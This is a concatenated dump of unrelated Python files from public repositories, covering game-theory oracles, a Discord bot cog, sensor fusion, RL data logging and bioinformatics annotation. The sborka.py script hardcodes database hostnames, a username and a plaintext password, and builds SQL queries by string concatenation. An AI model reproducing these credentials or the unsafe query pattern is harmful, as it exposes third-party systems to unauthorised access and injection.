app.run()","repo_name":"tsunahyper/ReadWrite-CSVFile","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"72379742187","text":"from open_spiel.python import policy as openspiel_policy\nfrom open_spiel.python.algorithms import best_response\nfrom open_spiel.python.algorithms import policy_utils\nfrom open_spiel.python.algorithms.psro_v2 import optimization_oracle\nfrom open_spiel.python.algorithms.psro_v2 import utils\nimport pyspiel\n\n\nclass BestResponseOracle(optimization_oracle.AbstractOracle):\n \"\"\"Oracle using exact best responses to compute BR to policies.\"\"\"\n\n def __init__(self,\n best_response_backend='cpp',\n game=None,\n all_states=None,\n state_to_information_state=None,\n prob_cut_threshold=-1.0,\n action_value_tolerance=-1.0,\n **kwargs):\n \"\"\"Init function for the RLOracle.\n\n Args:\n best_response_backend: A string (either 'cpp' or 'py'), specifying the\n best response backend to use (C++ or python, respectively). The cpp\n backend should be preferred, generally, as it is significantly faster.\n game: The game on which the optimization process takes place.\n all_states: The result of calling get_all_states.get_all_states. Cached\n for improved performance.\n state_to_information_state: A dict mapping str(state) to\n state.information_state for every state in the game. Cached for improved\n performance.\n prob_cut_threshold: For cpp backend, a partially computed best-response\n can be computed when using a prob_cut_threshold >= 0.\n action_value_tolerance: For cpp backend, the max-entropy best-response\n policy is computed if a non-negative `action_value_tolerance` is used.\n **kwargs: kwargs\n \"\"\"\n super(BestResponseOracle, self).__init__(**kwargs)\n self.best_response_backend = best_response_backend\n if self.best_response_backend == 'cpp':\n # Should compute all_states and state_to_information_state only once in\n # the program, as caching them speeds up TabularBestResponse tremendously.\n self.all_states, self.state_to_information_state = (\n utils.compute_states_and_info_states_if_none(\n game, all_states, state_to_information_state))\n\n policy = openspiel_policy.UniformRandomPolicy(game)\n\n policy_to_dict = policy_utils.policy_to_dict(\n policy, game, self.all_states, self.state_to_information_state)\n\n # pylint: disable=g-complex-comprehension\n # Cache TabularBestResponse for players, due to their costly construction\n # TODO(b/140426861): Use a single best-responder once the code supports\n # multiple player ids.\n self.best_response_processors = [\n pyspiel.TabularBestResponse(game, best_responder_id, policy_to_dict,\n prob_cut_threshold,\n action_value_tolerance)\n for best_responder_id in range(game.num_players())\n ]\n self.best_responders = [\n best_response.CPPBestResponsePolicy(\n game, i_player, policy, self.all_states,\n self.state_to_information_state,\n self.best_response_processors[i_player]\n )\n for i_player in range(game.num_players())\n ]\n # pylint: enable=g-complex-comprehension\n\n def __call__(self,\n game,\n training_parameters,\n strategy_sampler=utils.sample_strategy,\n using_joint_strategies=False,\n **oracle_specific_execution_kwargs):\n \"\"\"Call method for oracle, returns best responses for training_parameters.\n\n Args:\n game: The game on which the optimization process takes place.\n training_parameters: List of list of dicts: one list per player, one dict\n per selected agent in the pool for each player,\n each dictionary containing the following fields:\n - policy: the policy from which to start training.\n - total_policies: A list of all policy.Policy strategies used for\n training, including the one for the current player. Either\n marginalized or joint strategies are accepted.\n - current_player: Integer representing the current player.\n - probabilities_of_playing_policies: A list of arrays representing, per\n player, the probabilities of playing each policy in total_policies for\n the same player.\n strategy_sampler: Callable that samples strategies from `total_policies`\n using `probabilities_of_playing_policies`. It only samples one joint\n \"action\" for all players. Implemented to be able to take into account\n joint probabilities of action.\n using_joint_strategies: Whether the meta-strategies sent are joint (True)\n or marginalized.\n **oracle_specific_execution_kwargs: Other set of arguments, for\n compatibility purposes. Can for example represent whether to Rectify\n Training or not.\n\n Returns:\n A list of list of OpenSpiel Policy objects representing the expected\n best response, following the same structure as training_parameters.\n \"\"\"\n new_policies = []\n for player_parameters in training_parameters:\n player_policies = []\n for params in player_parameters:\n current_player = params['current_player']\n total_policies = params['total_policies']\n probabilities_of_playing_policies = params[\n 'probabilities_of_playing_policies']\n if using_joint_strategies:\n aggr_policy = utils.aggregate_joint_policies(\n game, utils.marginal_to_joint(total_policies),\n probabilities_of_playing_policies.reshape(-1))\n else:\n aggr_policy = utils.aggregate_policies(\n game, total_policies, probabilities_of_playing_policies)\n\n # This takes as input an aggregate policy, and computes a best response\n # for current_player at the applicable information states by recursing\n # through the game tree. At information states involving other players\n # or chance, the aggr_policy is used to compute the expected value, such\n # that a best response for current_player can be computed.\n if self.best_response_backend == 'py':\n best_resp = best_response.BestResponsePolicy(game, current_player,\n aggr_policy)\n else:\n self.best_response_processors[current_player].set_policy(\n policy_utils.policy_to_dict(aggr_policy, game, self.all_states,\n self.state_to_information_state))\n\n self.best_responders[current_player] = (\n best_response.CPPBestResponsePolicy(\n game, current_player, aggr_policy, self.all_states,\n self.state_to_information_state,\n self.best_response_processors[current_player]))\n best_resp = self.best_responders[current_player]\n player_policies.append(best_resp)\n new_policies.append(player_policies)\n return new_policies\n","repo_name":"deepmind/open_spiel","sub_path":"open_spiel/python/algorithms/psro_v2/best_response_oracle.py","file_name":"best_response_oracle.py","file_ext":"py","file_size_in_byte":7023,"program_lang":"python","lang":"en","doc_type":"code","stars":3700,"dataset":"github-code","pt":"37"} +{"seq_id":"71165391786","text":"from typing import Optional\n\nfrom redbot.core import commands, data_manager\nfrom redbot.core.bot import Red\nfrom redbot.core.utils.chat_formatting import inline\n\n\nclass ChooseBot(commands.Cog):\n def __init__(self, bot: Red) -> None:\n self.bot = bot\n self.chosen_bot: Optional[str] = None\n\n async def bot_check_once(self, ctx: commands.Context) -> bool:\n if ctx.command is self.choosebot:\n return True\n\n instance_name = (\n data_manager.instance_name()\n if callable(data_manager.instance_name)\n else data_manager.instance_name\n )\n assert isinstance(instance_name, str)\n if self.chosen_bot == instance_name:\n return True\n\n if not await self.bot.is_owner(ctx.author):\n return True\n\n if self.chosen_bot is None:\n raise commands.UserFeedbackCheckFailure(\n f\"No instance name is set to be enforced, assuming that this instance\"\n f\" ({inline(instance_name)}) isn't the one you wanted to use.\\n\\n\"\n f\"Use `choosebot` command to choose the bot.\"\n )\n\n raise commands.UserFeedbackCheckFailure(\n f\"The name of enforced instance is {inline(self.chosen_bot)}\"\n f\" but you tried to use {instance_name}. Aborting...\"\n )\n\n @commands.is_owner()\n @commands.command()\n async def choosebot(self, ctx: commands.Context, instance_name: str) -> None:\n self.chosen_bot = instance_name\n await ctx.send(\n f\"[{data_manager.instance_name}] Usage of the instance with name\"\n f\" {inline(instance_name)} will now be enforced.\"\n )\n","repo_name":"Jackenmen/WeirdUnsupportedCogsOfJack","sub_path":"choosebot/choosebot.py","file_name":"choosebot.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"9809545877","text":"from state_estimation.UKF import UKF\nimport csv\nimport numpy as np\nimport pandas as pd\nimport math\n\n\ndef normalizeQuat(q):\n mag = (q[0] ** 2 + q[1] ** 2 + q[2] ** 2 + q[3] ** 2) ** 0.5\n return q / mag\ndef q_rot_body_to_inertial(q):\n C_body_to_inertial = np.array([[q[0] ** 2 + q[1] ** 2 - q[2] ** 2 - q[3] ** 2, 2 * (\n q[1] * q[2] - q[0] * q[3]), 2 * (q[1] * q[3] + q[0] * q[2])],\n [2 * (q[1] * q[2] + q[0] * q[3]),\n q[0] ** 2 - q[1] ** 2 + q[2] ** 2 - q[3] ** 2,\n 2 * (q[2] * q[3] - q[0] * q[1])],\n [2 * (q[1] * q[3] - q[0] * q[2]),\n 2 * (q[2] * q[3] + q[0] * q[1]),\n q[0] ** 2 - q[1] ** 2 - q[2] ** 2 + q[3] ** 2]])\n return C_body_to_inertial\n\ndef acc_measurement_function(q_in):\n # Make negative if necessary (rotating inertial acc. ref to body frame)\n acc_ref = np.array([[2 * (q_in[1] * q_in[3] - q_in[0] * q_in[2])],\n [2 * (q_in[2] * q_in[3] + q_in[0] * q_in[1])],\n [(q_in[0] ** 2 - q_in[1] ** 2 - q_in[2] ** 2 + q_in[3] ** 2)]])\n return np.concatenate([np.array([0]),acc_ref[:,0]])\n\ndef mag_measurement_function(quat):\n mag_sf = np.array([23.0142, 22.4117, 5.2315])\n mag_sf[2] = 0\n mag_sf = mag_sf / (mag_sf[0] ** 2 + mag_sf[1] ** 2) ** 0.5\n mag_ref_est = np.matmul(q_rot_body_to_inertial(quat).transpose(), mag_sf)\n\n return np.concatenate([np.array([0]),mag_ref_est])\n\n\ndef iterate_x(x, dt, inputs):\n '''this function is based on the x_dot and can be nonlinear as needed'''\n # Inputs = wx, wy, wz\n wx = inputs[0]\n wy = inputs[1]\n wz = inputs[2]\n\n ret = np.zeros(len(x))\n ret[0] = x[0] - (dt/2)*(-x[1]) - (dt/2)*(-x[2]) - (dt/2)*(-x[3]) + (dt/2)*(-x[1]*wx-x[2]*wy-x[3]*wz)\n ret[1] = x[1] - (dt / 2) * (x[0]) - (dt / 2) * (-x[3]) - (dt / 2) * (x[2]) + (dt/2)*(x[0]*wx-x[3]*wy+x[2]*wz)\n ret[2] = x[2] - (dt / 2) * (x[3]) - (dt / 2) * (x[0]) - (dt / 2) * (-x[1]) + (dt/2)*(x[3]*wx+x[0]*wy-x[1]*wz)\n ret[3] = x[2] - (dt / 2) * (-x[2]) - (dt / 2) * (x[1]) - (dt / 2) * (x[0]) + (dt/2)*(-x[2]*wx+x[1]*wy+x[0]*wz)\n ret[0:4] = normalizeQuat(ret[0:4])\n ret[4] = x[4]\n ret[5] = x[5]\n ret[6] = x[6]\n\n return ret\n\n\ndef main():\n\n # Process Noise\n q = np.eye(7)\n q[0][0] = 0.0001\n q[1][1] = 0.0001\n q[2][2] = 0.0001\n q[3][3] = 0.0001\n q[3][3] = 0.0025\n q[4][4] = 0.0025\n q[5][5] = 0.0025\n\n # create measurement noise covariance matrices\n r_imu = np.zeros([2, 2])\n r_imu[0][0] = 0.01\n r_imu[1][1] = 0.03\n\n r_compass = np.zeros([1, 1])\n r_compass[0][0] = 0.02\n\n alpha = 0.04\n K = 0\n beta = 2.0\n data = pd.read_csv('flights.csv')\n with open('flights.csv', 'r') as csvfile:\n reader = csv.reader(csvfile)\n next(reader)\n i = 0\n for row in reader:\n if i == 0:\n quaternion = np.array([1, 0, 0, 0]) # Initial estimate of the quaternion\n bias = np.array([0, 0, 0])\n x0 = np.concatenate((quaternion, bias)).transpose()\n # pass all the parameters into the UKF!\n # number of state variables, process noise, initial state, initial coariance, three tuning paramters, and the iterate function\n state_estimator = UKF(np.identity(7) * 0.001, x0, 0.01 * np.eye(7), alpha, K, beta, iterate_x)\n last_time = 0\n i = 1\n continue\n\n cur_time = np.asarray(float(row[1]))\n dt = cur_time-last_time\n true_att = np.asarray([float(row[x]) for x in [12, 9, 10, 11]])\n gyro = np.asarray([float(row[x]) for x in [16, 17, 18]])\n accel_measure = np.asarray([float(row[x]) for x in [19, 20, 21]])\n accel_measure[2] = -accel_measure[2]\n\n last_time = cur_time\n\n state_estimator.predict(dt, gyro)\n # accel_measure = 9.81 * np.array([.3, .5, .812403])\n accel_mag = (accel_measure[0] ** 2 + accel_measure[1] ** 2 + accel_measure[2] ** 2) ** 0.5\n acc_data = accel_measure / accel_mag\n r_acc = .1 * np.eye(4)\n states_acc = state_estimator.update([0, 1, 2, 3], acc_data, r_acc, update_eq=acc_measurement_function)\n a = 5\n # Turn mag measurment to inertial, take out the z component, normalize, turn back to body\n # mag_measurement = np.array([23.0142, 22.4117, 5.2315])\n # mag_measurement = np.atleast_2d(mag_measurement)\n # mag = np.matmul(q_rot_body_to_inertial(state_estimator.x), mag_measurement.T)\n # mag[2] = 0\n # mag = mag / (mag[0] ** 2 + mag[1] ** 2) ** 0.5\n # mag_reading_B = np.matmul(q_rot_body_to_inertial(state_estimator.x).transpose(), mag)\n # mag_reading_B = mag_reading_B.reshape(3, )\n # r_mag = .005 * np.eye(4)\n # states_mag = state_estimator.update([0, 1, 2, 3], mag_reading_B, r_mag, update_eq=mag_measurement_function)\n #\n # print(\"--------------------------------------------------------\")\n # print(\"Real state: \", real_state)\n # print(\"Estimated state: \", state_estimator.get_state())\n # print(\"Difference: \", real_state - state_estimator.get_state())\n\nif __name__ == \"__main__\":\n main()","repo_name":"aemandev/Quadcopterv2","sub_path":"state_estimation/StateEstimator.py","file_name":"StateEstimator.py","file_ext":"py","file_size_in_byte":5453,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"11616617867","text":"from benchopt import BaseDataset\nfrom benchopt import safe_import_context\n\nwith safe_import_context() as import_ctx:\n from benchopt.datasets import make_correlated_data\n\n\nclass Dataset(BaseDataset):\n name = \"Simulated\"\n\n parameters = {\n \"n_samples, n_features, n_tasks\": [\n (306, 3000, 20),\n (306, 3000, 1), # test overhead of tasks compared to Lasso\n ],\n }\n\n def __init__(self, n_samples=10, n_features=50, n_tasks=30, rho=0.3,\n snr=3, density=0.3, random_state=0):\n self.n_samples, self.n_features = n_samples, n_features\n self.n_tasks = n_tasks\n self.density, self.snr = density, snr\n self.random_state = random_state\n self.rho = rho\n\n def get_data(self):\n X, Y, _ = make_correlated_data(\n n_samples=self.n_samples, n_features=self.n_features,\n n_tasks=self.n_tasks, rho=self.rho, snr=self.snr,\n density=self.density, random_state=self.random_state)\n\n data = dict(X=X, Y=Y)\n\n return (X.shape[1], Y.shape[1]), data\n","repo_name":"PABannier/benchmark_multi_task_lasso","sub_path":"datasets/simulated.py","file_name":"simulated.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"41656428978","text":"#!/usr/local/bin/python\nimport pandas as pd\nimport vertica_python\nimport httplib2\nimport gspread\nimport datetime\nimport ml_metrics, string, re, pylab as pl\nfrom apiclient import discovery\nimport os\nimport my_testapi as api\n\nfrom oauth2client import client\nfrom oauth2client import tools\nfrom oauth2client.file import Storage\n\n\n\n\ndef main():\n\n conn_info_db105_socialquantum_com_5433 = {\n 'host': 'db105.socialquantum.com',\n 'port': 5433,\n 'user': 'cockpit_admin',\n 'password': '35jEKDbLvh5bcT',\n 'database': 'stats3'\n }\n\n conn_info_ndb45_socialquantum_com_5433 = {\n 'host': 'ndb45.socialquantum.com',\n 'port': 5433,\n 'user': 'cockpit_admin',\n 'password': '35jEKDbLvh5bcT',\n 'database': 'stats_int'\n }\n\n credentials = api.get_my_credentials()\n http = credentials.authorize(httplib2.Http())\n credentials.refresh(http)\n discoveryUrl = ('https://sheets.googleapis.com/$discovery/rest?'\n 'version=v4')\n service = discovery.build('sheets', 'v4', http=http,\n discoveryServiceUrl=discoveryUrl)\n spreadsheetId = '1_gOKbuA_be_TI_aeW4KlxX0PGuY1uVwuIaR2ispp7fQ'\n gc = gspread.authorize(credentials)\n sht1 = gc.open_by_key(spreadsheetId)\n worksheets=sht1.get_worksheet(0)\n values_list = worksheets.col_values(1)\n print(values_list)\n\n # sheet_metadata = service.spreadsheets().get(spreadsheetId=spreadsheetId).execute()\n # print(sheet_metadata)\n # sheets = sheet_metadata.get('sheets', '')\n # print(sheets)\n# with vertica_python.connect(**conn_info_ndb45_socialquantum_com_5433) as connection:\n# key=['193','180','181']\n# for x in key:\n# # 2017-02-18\n# print(x)\n# cur = connection.cursor()\n#\n# cur.execute(\"\"\" select app,platform,advertising_id,lc,sum(pay_in_dollars) as pay_in_dollars from (select name as app,platform,advertising_id,case when v >=20 then 'more_then_20$' else 'else' end as lc, v as pay_in_dollars from (select key,s,floor(sum(v)/100) as v from mtu where key in ('\"\"\" +str(x)+\"\"\"') and v is not null group by s,key)a inner join (select key,s,count(s) over (partition by s,app) as f,count(s) over (partition by app,platform,lc) as need ,advertising_id,platform,lc from tas_ucc where key in ('\"\"\" +str(x)+\"\"\"') and advertising_id not in ('null','limited') group by s,platform,advertising_id,app,lc,key)b on a.s=b.s and a.key=b.key and f<=9 inner join (select id,name from keys group by id,name)k on b.key=k.id group by name,platform,advertising_id,v)a group by app,platform,advertising_id,lc \"\"\")\n# num_fields = len(cur.description)\n# field_names = [i[0] for i in cur.description]\n# rows = cur.fetchall()\n# df = pd.DataFrame(rows, columns=field_names)\n# cur.close()\n# df['lc']=df['app']+'_'+df['platform']+'_'+df['lc']\n# location=df.lc.unique()\n# for x in location:\n# print(x)\n# local = df.loc[df['lc'] == x, ['advertising_id', 'pay_in_dollars']].reset_index(drop=True)\n# rangeend=len(local.index)\n# name = re.sub('[^a-zA-Z0-9_]', '', str(x))\n# print('its okey')\n# print(name)\n# local.to_csv(\"csv/\"+str(now)+\"/\"+str(name)+\".csv\", header= True ,index=False, encoding='utf-8')\n# print('done')\n# try :\n# sheet_id=title[str(name)]\n# print(sheet_id)\n# # sheet=(i.find(str(name)) for i in title)\n#\n# # sheet_id = i.get(\"properties\", {})\n# #\n# # sheets[0].get(\"properties\", {}).get(\"sheetId\", 0)\n# print('im clearing')\n# # sht1.worksheet(name).clear()\n# result = service.spreadsheets().batchUpdate(spreadsheetId=spreadsheetId, body={\"requests\": [ { \"updateCells\": { \"range\":\n# {\"sheetId\": sheet_id }, \"fields\": \"userEnteredValue\" } } ] }).execute(\n# except (ValueError,KeyError):\n# result = service.spreadsheets().batchUpdate(spreadsheetId=spreadsheetId,\n# body={\"requests\": [ { \"addSheet\": {\n# \"properties\": { \"title\": str(name) } } } ]\n# } ).execute()\n# print('factchecking')\n# service.spreadsheets().values().batchUpdate(spreadsheetId=spreadsheetId, body={\"valueInputOption\": \"USER_ENTERED\", \"data\": [{ \"range\": \"\" + str(name) + \"!R1C1:R1C2\", \"majorDimension\": \"ROWS\", \"values\": [list(local.columns.values)] } ] } ).execute()\n# # print('start writhing')\n# all=[]\n# for index, row in local.iterrows():\n# f=str(row['advertising_id']),str(row['pay_in_dollars'])\n# all.append(list(f))\n# print(len(all))\n# print(all)\n# for i in all:\n# print(i)\n#\n# result = service.spreadsheets().values().batchUpdate(\n# spreadsheetId=spreadsheetId, body={\n# \"valueInputOption\": \"USER_ENTERED\",\n# \"data\": [\n#\n# {\n# \"range\": \"\" + str(name) + \"!R2C1:R\" + str(len(all) + 2) + \"C2\",\n# \"majorDimension\": \"ROWS\",\n# \"values\": [i for i in all]\n# }\n# ]\n# }\n# ).execute()\n# print('end '+str(x))\n#\nif __name__ == '__main__':\n main()\n\n\n\n\n\n# result = service.spreadsheets().batchUpdate(\n# spreadsheetId=spreadsheetId, body={\n# \"requests\": [\n# {\n# \"addSheet\": {\n# \"properties\": {\n# \"title\": str(location),\n#\n# }\n# }\n# }\n# ] }).execute()","repo_name":"anyvachana/Marketing-Ids","sub_path":"sborka.py","file_name":"sborka.py","file_ext":"py","file_size_in_byte":6341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32841573357","text":"import numpy\nimport pika\nimport os\nimport json\nfrom pyspark import SparkConf, SparkContext\nfrom pyspark.sql import HiveContext, Row\nfrom pyspark.sql.functions import col\nfrom pyspark.mllib.recommendation import ALS, MatrixFactorizationModel, Rating\n\n\nconf = SparkConf().setAppName(\"ALSPrediction_Server\")\nsc = SparkContext(conf=conf)\nsqlContext = HiveContext(sc)\ntaghashes = sqlContext.sql(\"select * from tag_hash\")\n#taghashes.cache()\n\nmodel = MatrixFactorizationModel.load(sc, \"hdfs:///ALS.model\")\n\n#Enable the Logging***************\n#sc.setLogLevel(\"INFO\")\n\n# rabbit Method\nconnection = pika.BlockingConnection(pika.ConnectionParameters(host='student60', port='5672'))\nchannel = connection.channel()\nchannel.queue_declare(queue='rpc_queue')\n\n\n\ndef on_request(ch, method, props, body):\n #n = int(bodry)\n #print(\" [.] fib(%s)\" % n)\n #response = recommend(n)\n print(body)\n response = 'No idea'\n request = json.loads(str(body))\n if(request.get('type') == 0):\n response = recommend(request.get('id'))\n else:\n response = recommendPosts(request.get('id'))\n\n #response = \"HELLO\"\n ch.basic_publish(exchange='',\n routing_key=props.reply_to,\n properties=pika.BasicProperties(correlation_id = \\\n props.correlation_id),\n body=response)\n ch.basic_ack(delivery_tag = method.delivery_tag)","repo_name":"owen2801/comp7305-grp12","sub_path":"PredictionService.py","file_name":"PredictionService.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"74998074346","text":"import pandas as pd\nimport requests, os.path, time, subprocess\nfrom Bio.Align import PairwiseAligner\n\ndef construct_peak_sizes(df, min_w, max_w, w_size):\n peaks, peak_sizes = [], []\n for i in range(min_w, max_w, w_size):\n min_i, max_i = i, i + w_size\n t_rows = df.query('length >= @min_i & length <= @max_i')\n t = t_rows['length'].value_counts()\n if len(t) > 0:\n mode = t_rows['length'].mode().values[0]\n mode_idx = t[mode]\n if mode_idx > 50:\n peaks.append(mode)\n peak_sizes.append(mode_idx)\n return peaks, peak_sizes\n\n# check if the sequences are good match with each other\n# if good cluster then keep one sequence with peak number\n# will need error handle if the cluster is not a good cluster\n# once all peaks are done then submit to dfam\ndef construct_peak_seq(df, peaks): \n peak_seqs = []\n for peak in peaks: \n df_peak = df.loc[df['length'] == peak]\n samples = df_peak.sample(n=10)\n remaining_sequences = samples['seq'].tolist().copy()\n all_clusters = construct_all_clusters(remaining_sequences, peak)\n cluster_lens = [len(i) for i in all_clusters]\n largest_cluster = cluster_lens.index(max(cluster_lens))\n peak_seqs.append(all_clusters[largest_cluster][0])\n return peak_seqs\n\ndef construct_all_clusters(remaining_sequences, peak):\n all_clusters = []\n for X in remaining_sequences:\n cluster = []\n X_seq = X\n for j, Y in enumerate(remaining_sequences):\n Y_seq = Y\n alignments = PairwiseAligner.align.globalxx(X_seq, Y_seq)\n if float(alignments[0].score) >= 0.75 * peak:\n cluster.append(Y)\n del remaining_sequences[j]\n if len(cluster) > 0:\n all_clusters.append(cluster)\n return all_clusters\n\ndef construct_annotations(peak_seqs, url, params):\n annotations = []\n for peak_s in peak_seqs:\n params['sequence'] = peak_s\n peak_s_annots = []\n \n response = requests.post(url, data = params)\n results = response.json()\n resp_id = results['id']\n response = requests.get(url + resp_id)\n\n if results['duration'] == 'Not finished':\n finished = False\n i = 0\n while not finished:\n print(\"query not finished - checking again in 5 seconds\")\n time.sleep(5)\n response = requests.get(url + resp_id)\n results = response.json()\n if 'seconds' in results['duration']:\n print(\"query finished\")\n finished = True\n break\n i += 1\n if i == 10:\n print(\"Timed out\")\n exit()\n\n query_hits = len(response.json()['results'][0]['hits'])\n if query_hits == 0:\n peak_s_annots.append('No matching annotation found')\n response_hits = results['results'][0]['hits']\n for hit in range(query_hits):\n peak_s_annots.append((response_hits[hit]['description'], response_hits[hit]['type']))\n annotations.append(peak_s_annots)\n return annotations\n\ndef main(): \n window_size = 50\n min_window = 200\n max_window = 6400\n\n ref_file = snakemake.input.ref\n output_dir = snakemake.params.output_dir\n sv_info_file = snakemake.input.global_vcf\n\n df = pd.read_csv(sv_info_file, sep='\\t', lineterminator='\\n')\n df.columns = ['chrom','start','end','length','seq']\n df = df[df['length']!='.']\n df['length'] = df['length'].astype(int)\n\n url = 'https://dfam.org/api/searches/'\n cmd = f\"{ref_file} | head -n 1 | cut -d ' ' -f 2,3\"\n result = subprocess.run(cmd, shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, text = True, check = True)\n params = {'sequence' : 'PEAK_S', 'organism': result.stdout, 'cutoff' : 'curated'}\n\n peaks, peak_sizes = construct_peak_sizes(df, min_window, max_window, window_size)\n peak_seqs = construct_peak_seq(df, peaks) \n annotations = construct_annotations(peak_seqs, url, params)\n\n df_write = pd.DataFrame()\n df_write['peak_number'] = peaks\n df_write['peak_size'] = peak_sizes\n df_write['annotations'] = annotations\n df_write['peak_sequence'] = peak_seqs\n\n out_file = os.path.join(output_dir, 'dfam_annotate.csv')\n df_write.to_csv(out_file)\n\nif __name__ == '__main__':\n main()","repo_name":"ryanlayerlab/TEPEAK","sub_path":"src/dfam_annotate.py","file_name":"dfam_annotate.py","file_ext":"py","file_size_in_byte":4456,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"7810563831","text":"from dialog2 import Ui_Dialog\nfrom PyQt5.QtWidgets import QApplication, QWidget\nimport sys\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\n\nclass configureView(QWidget, Ui_Dialog):\n def __init__(self, parent):\n super().__init__()\n Ui_Dialog.setupUi(self,self)\n self.pushButton.clicked.connect(self.confirm)\n self.parent = parent\n\n def confirm(self):\n self.hide()\n frecuency = self.lineEdit.text()\n filterArgument = self.lineEdit_2.text()\n unit = self.lineEdit_3.text()\n sensor = self.comboBox.currentText()\n filterSelected = self.comboBox_2.currentText()\n print(sensor)\n self.main.configure(bytes(sensor + ' ' + frecuency + ' ' + filterSelected + ' ' + filterArgument, 'utf-8'))\n self.main.show()\n\n def setMain(self, view):\n self.main = view\n\n","repo_name":"ComputacionUbicua/PocketSystem","sub_path":"ExternalApp/configureView.py","file_name":"configureView.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8667764619","text":"\"\"\"Simple example of writing experiences to a file using JsonWriter.\"\"\"\nfrom typing import Optional\n\nimport argparse\nimport numpy as np\nimport os\n\nfrom ray.rllib.agents import DefaultCallbacks\nfrom ray.rllib.evaluation.episode import Episode\nfrom ray.rllib.models.preprocessors import get_preprocessor\nfrom ray.rllib.evaluation.sample_batch_builder import SampleBatchBuilder, MultiAgentSampleBatchBuilder\nfrom ray.rllib.offline.json_writer import JsonWriter\nfrom tqdm import tqdm\n\nfrom gfrl.common.rllibGFootballEnv import RllibGFootball\n\n\nclass ScenicSampleBatchBuilder(MultiAgentSampleBatchBuilder):\n def postprocess_batch_so_far(self,\n episode: Optional[Episode] = None) -> None:\n \"\"\"Apply policy postprocessors to any unprocessed rows.\n\n This pushes the postprocessed per-agent batches onto the per-policy\n builders, clearing per-agent state.\n\n Args:\n episode (Optional[Episode]): The Episode object that\n holds this MultiAgentBatchBuilder object.\n \"\"\"\n\n # Materialize the batches so far.\n pre_batches = {}\n for agent_id, builder in self.agent_builders.items():\n pre_batches[agent_id] = (\n self.policy_map[self.agent_to_policy[agent_id]],\n builder.build_and_reset())\n\n # Apply postprocessor.\n post_batches = {}\n if self.clip_rewards is True:\n for _, (_, pre_batch) in pre_batches.items():\n pre_batch[\"rewards\"] = np.sign(pre_batch[\"rewards\"])\n elif self.clip_rewards:\n for _, (_, pre_batch) in pre_batches.items():\n pre_batch[\"rewards\"] = np.clip(\n pre_batch[\"rewards\"],\n a_min=-self.clip_rewards,\n a_max=self.clip_rewards)\n for agent_id, (_, pre_batch) in pre_batches.items():\n other_batches = pre_batches.copy()\n del other_batches[agent_id]\n policy = self.policy_map[self.agent_to_policy[agent_id]]\n if any(pre_batch[\"dones\"][:-1]) or len(set(\n pre_batch[\"eps_id\"])) > 1:\n raise ValueError(\n \"Batches sent to postprocessing must only contain steps \"\n \"from a single trajectory.\", pre_batch)\n # Call the Policy's Exploration's postprocess method.\n post_batches[agent_id] = pre_batch\n # if getattr(policy, \"exploration\", None) is not None:\n # policy.exploration.postprocess_trajectory(\n # policy, post_batches[agent_id], policy.get_session())\n # post_batches[agent_id] = policy.postprocess_trajectory(\n # post_batches[agent_id], other_batches, episode)\n\n # Append into policy batches and reset\n for agent_id, post_batch in sorted(post_batches.items()):\n self.policy_builders[self.agent_to_policy[agent_id]].add_batch(\n post_batch)\n\n self.agent_builders.clear()\n self.agent_to_policy.clear()\n\n# scenario mapping\nscenario_name_to_file = {\n \"offense_avoid_pass_shoot\":\"/home/username/gf/scenic4rl/training/gfrl/_scenarios/demonstration_multirl/offense_avoid_pass_shoot.scenic\",\n \"offense_11_vs_gk\":\"/home/username/gf/scenic4rl/training/gfrl/_scenarios/demonstration_multirl/offense_11_vs_GK.scenic\",\n \"offense_counterattack_easy\":\"/home/username/gf/scenic4rl/training/gfrl/_scenarios/demonstration_multirl/counterattack_easy.scenic\",\n \"grf_passshoot\":\"/home/username/gf/scenic4rl/training/gfrl/_scenarios/demonstration_multirl/rl_pass_and_shoot_with_keeper.scenic\",\n}\n\n# running exps\nparser = argparse.ArgumentParser()\n\nparser.add_argument('--scenario', type=str, default=\"offense_11_vs_gk\")\nparser.add_argument('--mode', type=str, default=\"3\")\nparser.add_argument('--num-samples', type=int, default=8000)\n\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n assert args.scenario in scenario_name_to_file, \"invalid scenario name\"\n scenario_file = scenario_name_to_file[args.scenario]\n control_mode = args.mode\n\n out_directory_path = f\"offline_ni_{args.scenario}\"\n num_trials = args.num_samples\n \n\n env = RllibGFootball(scenario_file, control_mode)\n obs_space = env.observation_space\n act_space = env.action_space\n num_policies = env.num_agents\n num_agents = num_policies # we use 1:1 agent policy mapping\n\n def gen_policy(_):\n return (None, obs_space, act_space, {})\n\n # Setup PPO with an ensemble of `num_policies` different policies\n policies = {\n 'policy_{}'.format(i): gen_policy(i) for i in range(num_policies)\n }\n\n # Generate Data\n batch_builder = ScenicSampleBatchBuilder(policies, False, DefaultCallbacks()) # or MultiAgentSampleBatchBuilder\n writer = JsonWriter(out_directory_path)\n\n gf_env_settings = {\n \"stacked\": True,\n \"rewards\": 'scoring',\n \"representation\": 'extracted',\n \"dump_full_episodes\": False,\n \"dump_scores\": False,\n \"tracesdir\": \"/home/username/gf/scenic4rl/replays\",\n \"write_video\": False,\n }\n # RLlib uses preprocessors to implement transforms such as one-hot encoding\n # and flattening of tuple and dict observations. For CartPole a no-op\n # preprocessor is used, but this may be relevant for more complex envs.\n prep = get_preprocessor(env.observation_space)(env.observation_space)\n print(\"The preprocessor is\", prep)\n\n # generating data\n pbar = tqdm(total=num_trials)\n eps_id = 0\n total_attempts = 0\n total_reward = 0\n while eps_id < 